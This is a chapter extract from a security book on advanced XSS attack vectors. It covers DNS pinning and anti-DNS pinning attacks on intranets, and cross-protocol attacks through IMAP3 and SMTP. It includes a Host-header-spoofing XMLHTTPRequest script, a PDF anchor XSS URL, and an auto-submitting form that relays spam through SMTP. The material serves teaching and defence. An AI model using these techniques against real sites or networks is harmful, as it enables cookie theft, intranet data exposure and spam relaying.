Chapter 5
Solutions in this chapter:
■    DNS pinning
■    IMAP3
■    MHTML
■    Hacking JSON
0 Summary
0 Solutions Fast Track
0 Frequently Asked Questions
191
192 Chapter 5 • Advanced XSS Attack Vectors
Introduction
Security researchers have spent a significant amount of time over the last few years, finding and exposing a wide range of flaws in software and Web sites that could be used to perform a cross-site scripting (XSS) attack. The primary focus of these attacks was Web applications that failed to filter the user-supplied data. However, there are several other ways that an attacker can successfully inject JavaScript into a user’s browser. In this chapter, we look at several of these advanced attack vectors in some detail, so that you can get an idea of how illusive and widespread this problem is.
DNS Pinning
When a user requests a Web page in a browser, several systems have to work together to locate, access, and retrieve that data. One of these components is the Domain Name System (DNS), which converts the Uniform Resource Locator (URL) entered into the browser into the numerical address of the server that hosts the Web site. For example, when your browser is commanded to view www.example.com, the user’s system will connect to a DNS server to perform a lookup on that domain, which would then provide the IP address of 111.111.111.111. The browser will then create a query that contains the domain, a specific Web page, and other variables and send it to the specified Internet Protocol (IP) address. After connecting to 111.111.111.111, the browser will send the following:
GET / HTTP/1.0
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1
Accept: */*
Accept-Language: en-us,en,-q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: super-secret-decoder-ring-number:54321
A
Note
During the DNS lookup process, a local host’s file is first checked to see if there is a static entry. If an entry does exist, this information will be used to direct the browser to the defined location. This technique can be used to create valid Web site aliases, but is often abused by malicious software (malware) to gain control over browsing activities. Using this method, a malicious program can
www.syngress.com
Advanced XSS Attack Vectors • Chapter 5 193
easily perform phishing attacks, redirect Web requests, and more. On Windows XP, this file is located at: C:\WINDOWS\system32\drivers\atc\hosts.
The Host: header tells the server that the user is looking for data at the www.example.com host, which is necessary if the Web server happens to be running more than one Web site (e.g., virtual hosting).The browser does something to protect itself (and the user) at this point; DNS pinning. DNS pinning is where the browser caches the host-name-to-IP address pair for the life of the browser session, regardless of how long the actual DNS time to live (TTL) is set for. So even if the time to live is set for 20 seconds, the DNS pinning in your browser will save DNS information until you shut down your browser. Let’s show an example of an attack that DNS pinning protects against:
An attacker runs the malicious Web site www.evilsite.com at 222.222.222.222 and con­trols the DNS server entry that is set with a TTL of 1 second. On the attacker’s Web site is a Web page containing JavaScript that tells the browser to connect to itself using XMLHTTPRequest in 2 seconds, pull the data on the page, and send the data found to www2.evilsite.com at 333.333.333.333. Here is how the attack works:
1.    The user’s browser connects to www.evilsite.com and sees 222.222.222.222 with a DNS timeout of 1 second.
2.    The user’s browser sees the JavaScript, which asks them to connect back to www.evilsite.com in 2 seconds.The problem (theoretically) is that www.evilsite.com’s IP address is no longer valid because the TTL on the DNS entry was set to 1 second.
3.    Since the DNS is no longer valid, the user’s browser connects to the DNS server and asks where www.attacker.com is now located.
4.    The DNS now responds with a new IP address for www.evilsite.com, which is 111.111.111.111.
5.    The user’s browser connects to 111.111.111.111 and sends something like this header:
GET / HTTP/1.0
Host: www.evilsite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1
Accept: */*
Accept-Language: en-us,en,-q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
www.syngress.com
194 Chapter 5 • Advanced XSS Attack Vectors
Keep-Alive: 300 Proxy-Connection: keep-alive
Notice the original cookie is no longer included and the Host: has been changed to www.evilsite.com instead of www.example.com. The reason for this is that the browser still believes it is connecting to www.evilsite.com since the authoritative DNS server told it that the IP address for that server is 111.111.111.111. In this way, you can make any DNS entry point to any IP address, regardless if you own it or not. In this case, the attack is not particu­larly useful, because the hostname doesn’t match (that’s not a big deal since most sites don’t run more than one virtual host), but more importantly, the cookie is missing. Finally, and this is the most important security feature, DNS pinning in the browser prevents the second lookup of the IP address 111.111.111.111 in steps 2 and 3, because the browser is attempting to protect the user from anti-DNS pinning. In other words, this particular attack doesn’t work thanks to DNS pinning.
A Note
Flushing your DNS cache (in Windows the command is ipconfig /flushdns) also has no effect on DNS pinning. There is no way from the browser itself to flush the DNS without shutting it down and restarting it.
Anti-DNS Pinning
On August 14, 2006, Martin Johns posted a message about Anti-DNS pinning to Bugtraq, that described a way to “undermine DNS pinning by rejecting connections.” While anti-DNS pinning does circumvent browser protections, the attack remained fairly harmless, because the cookie data was not included with the new header. However, thanks to the work of Jeremiah Grossman and Robert Hansen, who discovered how to perform intranet port scanning via JavaScript, anti-DNS pinning became much more powerful.
Martin Johns first demonstrated that browser DNS pinning relies on one simple fact; the Web server in question is online and available. If the server is down, it stands to reason that a browser should query DNS and see if the Web server has moved.
That concept is a great idea for usability, but terrible for security.You remember why we had DNS pinning in the first place, right? The assumption that the server will never be intentionally down is a fine when you are thinking about a benign site, but when you are thinking of a malicious site, it can be down at a whim if the attacker wants it to be. So here’s the trick:
www.syngress.com
Advanced XSS Attack Vectors • Chapter 5 195
1.    The user’s browser connects to www.evilsite.com and sees 222.222.222.222 with a DNS TTL of 1 second.
2.    The user’s browser processes the JavaScript, which tells it to connect back to www.evilsite.com in 2 seconds
3.    www.evilsite.com firewalls itself off so that it cannot be connected to the IP address of the user.
4.    DNS pinning is dropped by the browser.
5.    Next, the user’s browser connects to the DNS server and asks where www.evilsite.com is now.
6.    The DNS now responds with the IP address of www.example.com, which is at 111.111.111.111.
7.    The browser connects to 111.111.111.111 and sends something like this header:
GET / HTTP/1.0
Host: www.evilsite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1
Accept: */*
Accept-Language: en-us,en,-q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
8.    The user’s browser reads the data and sends it to www2.evilsite.com, which points to 333.333.333.333.
Again, this technique was only mildly useful, because the cookie data was not included. Or to put it another way, what’s the difference between the previously described convoluted scenario and an attacker requesting that page himself? Since the cookie isn’t there, the anti-DNS pinning attack is not doing the attacker any good. However, Martin John took this attack to the next level by combining it with intranet scanning.
Let’s say that instead of using www.example.com pointing to 111.111.111.111, we are instead interested in intranet.example.com (a private page hosted behind a corporate firewall that we cannot access). intranet.example.com points to 10.10.10.10 (read RFC1918 to understand more about non-routable address space). Now, instead of targeting authenticated sessions on the Internet, an attacker can target internal Web sites that are supposed to be secure and inaccessible to the public.
www.syngress.com
196 Chapter 5 • Advanced XSS Attack Vectors
Note
A security researcher known as Kanatoko, found that you don’t have to actu­ally completely block access to the Web server to disable DNS pinning. Instead you can simply block access to the port in question. Using multiple ports on a single Web server can help combine the attack so that all of the malicious functions can happen on one server.
Suddenly, we can trick the user’s browser into reading Web pages from internal addresses where we would never have been able to connect to ourselves. Not only that, but we can read the data from the pages that are not accessible outside a firewall. It would seem like this has created a hole that makes it nearly impossible to stop an attacker from being able to read from pages from our Intranet.
Anti-Anti-DNS Pinning
There is one technique to stop this issue, which is to examine the Host: header. Remember previously where the host header doesn’t match the host in question? (When we were con­necting to www.example.com we were sending the host header of www.evilsite.com).That’s fine if there are no virtual hosts, but if there are, this whole technique fails. Further, if the administrator makes the generic IP address ignore any requests that don’t match www.example.com, anti-DNS pinning will also fail.
This happens a lot on shared hosts, virtual hosts, and so forth. As a result, it would appear that Anti-DNS pinning has a major hole in it. If you can’t query the server for the correct hostname, you don’t get to read the data. So, although an attacker can do port scans, anti-DNS pinning is pretty much worthless for stealing information from intranet Web pages if they are protected in this way. Or is it?
Anti-anti-anti-DNS Pinning
AKA Circumventing Anti-anti-DNS Pinning
Amit Klien published a small e-mail to Bugtraq, discussing a way to forge the Host: header using XMLHTTTPRequest and through Flash. His research proves that simply looking at the Host: header won’t do much to stop Anti-DNS Pinning. Here is an example XMLHTTPRequest that spoofs the Host: header in Internet Explorer (IE) 6.0 to evade Anti-anti-DNS Pinning.
<SCRIPT>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evilsite.com/\tHTTP/l.0\r\nHost:\twww.example.com\r\n\r\n",
www.syngress.com
Advanced XSS Attack Vectors • Chapter 5 197
"http://www.evilsite.com/",false); x.send(); alert(x.responseText);
</SCRIPT>
The point is the attacker is forcing the user to access the same domain to avoid the same-origin policy issues that normally protect Web sites. As far as the browser is concerned, the user is still contacting the same Web site so the browser is allowed to access whatever information the attacker wants.
Additional Applications of Anti-DNS Pinning
We’ve already discussed intranet port scanning as an ideal use for Anti-DNS pinning. There is at least one other interesting application for Anti-DNS pinning that arose as a result of a vul­nerability in Adobe Reader. The Adobe PDF reader in Firefox and Opera was found to have a Document Object Model (DOM)-based vulnerability where an anchor tag could include JavaScript, thus rendering any Web site that had a Portable Document Format (PDF) in it to be vulnerable. There were a number of suggestions submitted to the online community in an effort to control the impact of this vulnerability. One of these ideas was to force a credential to be set by the IP address. Despite the fact there are issues like proxies, it was deemed to be a reasonable risk, at least until Anti-DNS pinning was factored into the equation.
Here is an example of how simple it is to run JavaScript using this vulnerability against any PDF file (assuming the user is using Firefox or Opera and an outdated version of Adobe Reader):
http://www.example.com/benign.pdf#blah=javascript:alert("XSS");
Note
Adobe has issued a patch for this bug so it only affects older versions of Adobe Reader (7.x and earlier versions), but it is still a good example of how Anti-DNS pinning can be used to evade certain types of protection.
Here is the attack scenario. Cathy wants to execute an XSS vulnerability on Bob’s server against Alice, to steal her cookie. Bob has protected the PDF from being directly linked to by an attacker by creating a unique token that protects the PDF from being directly linked to with the malicious anchor tag:
■ Alice visits Cathy’s malicious Web site www.evilsite.com that points to 222.222.222.222 (Cathy’s IP).
www.syngress.com
198 Chapter 5 • Advanced XSS Attack Vectors
■
Cathy uses an XMLHTTPRequest to tell Alice’s browser to visit www.evilsite.com in a few seconds, and times out the DNS entry immediately.
Alice’s browser connects to www.evilsite.com but Cathy has shut down the port. The browser DNS pinning no longer points to 222.222.222.222 and instead it asks Cathy’s DNS server for the new IP of www.evilsite.com.
Cathy’s DNS server now points to 111.111.111.111 (Bob’s IP).
Alice’s browser now connects to 111.111.111.111 and reads the token from that page (cookie, redirect, or whatever protects the PDF from being downloaded) via XMLHTTPRequest and forwards that information to Cathy’s other Web site www2.evilsite.com.
Cathy reads Alice’s token and then forwards Alice’s browser to Bob’s server (not the IP, but the actual address) with Alice’s token (if the token is a cookie we can use the Flash header forging trick). Alice’s cookie is not yet compromised, because she is looking at a different Web site, and her browser does not send the cookie yet.
Alice connects to Bob’s server with the PDF anchor tag and the correct token to view the PDF. Since the token is bound by IP, the token works.
Alice executes Cathy’s malicious JavaScript malware in the context of Bob’s Web server and sends the cookie to www2.evilsite.com where it is logged.
■
■
■
■
■
■
Note
Both Flash and Java have the potential to create Anti-DNS pinning issues of their own. They could potentially have the most interesting control as they can both read binary content, which can give them greater read/write con­trol over raw sockets.
Anti-DNS pinning thus proves to be a valuable resource in breaking the same origin policy as well as IP-based authentication, as shown above. There are no currently known ways to fix this issue, although fixes to the browser seem to be plausible options. Some people have blamed the nature of DNS itself as the root cause of anti-DNS pinning tech­niques. Whatever the cause, and whomever is to blame, anti-DNS pinning is a powerful tool in a Web application hacker’s arsenal.
www.syngress.com
Advanced XSS Attack Vectors • Chapter 5 199
IMAP3
One of the perils of Web application security is that it applies to a lot more than just a Web server or the Web applications themselves. Sometimes you can find rare circumstances where two seemingly unrelated technologies can be combined to create an attack vector. In August 2006, Wade Alcorn published a paper on a way to perform an XSS attack against an IMAP3 (Internet Message Access Protocol 3) server.
Before going any further, it’s a good idea to understand why other protocols may or may not be affected by this sort of exploit. To do that it’s important to understand a principle in Firefox’s security model, that prohibits communication to certain ports.The following ports are prohibited:
Port
Service
1
7
9
11
13
15
17
19
20
21
22
23
25
37
42
43
53
77
79
87
95
101
102
tcpmux
echo
discard
systat
daytime
netstat
qotd
chargen
ftp data
ftp control
ssh
telnet
smtp
time
name
nicname
domain
priv-rjs
finger
ttylink
supdup
hostriame
iso-tsap
Continued
www.syngress.com
200 Chapter 5 • Advanced XSS Attack Vectors
Port
Service
103 104 109
110
111 113 115 117 119 123 135 139 143 179 389 465 512 513 514 515 526 530 531 532 540 556 563 587 601 636 993 995 2049
gppitnp
acr-nema
pop2
pop3
sunrpc
auth
sftp
uucp-path
nntp
NTP
loc-srv / epmap
netbios
imap2
BGP
Idap
smtp+ssl
print / exec
login
shell
printer
tempo
courier
chat
netnews
uucp
remotefs
nntp+ssl
Idap+ssl Idap+ssl pop3+ssl nfs
Continued
www.syngress.com
Advanced XSS Attack Vectors • Chapter 5 201
Port                                   Service
4045                                  lockd
6000                                 X11
You’ll notice that port 220 is missing from this list (as are many other ports). In this case, port 220 can cause problems as IMAP3 can be turned into an XSS exploit. Even if the server is totally hardened and has no dynamic content whatsoever, it can still be exploited if the IMAP3 server is on the same domain as the intended target.
Note that there are some exceptions that Firefox has allowed for given protocol handlers:
Protocol Handler                                                   Allowed Ports
File Transfer Protocol (FTP)                                   21, 22 Lightweight Directory Access Protocol (LDAP) 389, 636
Network News Transfer Protocol (NNTP)             any port
Post Office Protocol 3 (POP3)                               any port
IMAP                                                                       any port
Simple Mail Transer Protocol (SMTP)                   any port
FINGER                                                                   79
DATETIME                                                               13
Regardless of the port-blocking feature in Firefox, other browsers do not port block at all, thus making them potentially vulnerable to similar attacks. In this case, however, the ser­vice can be exploited by using a reflected XSS vector. JavaScript has had other negative issues in the past, as documented by Jochen Topf in a 2001 paper on attacking SMTP, NNTP, POP3, and Internet Relay Chat (IRC). In these examples, you can use JavaScript and Hypertext Markup Language (HTML) to force browsers to submit spam on the attacker’s behalf or worse. This simple example could send spam from any server that allowed connections to an SMTP port:
<form method="post" name=f action="http://www.example.com:25" enctype="multipart/form-data">
<textarea name="foo">
HELO example.com
MAIL FROM:<somebody@example.com>
RCPT TO:<recipient@example.org>
DATA
Subject: Hi there!
www.syngress.com
202 Chapter 5 • Advanced XSS Attack Vectors
From: somebody@example.com To: recipient@example.org Hello world!
QUIT
</textarea>
<input name="s" type="submit">
</form>
<script>
document.f.s.click(); </script>
The result from the SMTP server:
220 mail.example.org ESMTP Hi there! 500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
250 mail.example.org Hello example.com [10.11.12.13]
250 <somebody@example.com> is syntactically correct
250 <recipient@example.org> is syntactically correct
354 Enter message, ending with "." on a line by itself
250 OK id=15IYAS-00073G-00
221 mail.example.org closing connection
Keeping this concept in mind, while we were able to send spam e-mail on our behalf, we were never able to get data back from the server, because it was never formatted prop­erly. Here is what a normal request would look like if sent to an IMAP3 server:
POST /localhost HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
The server’s response: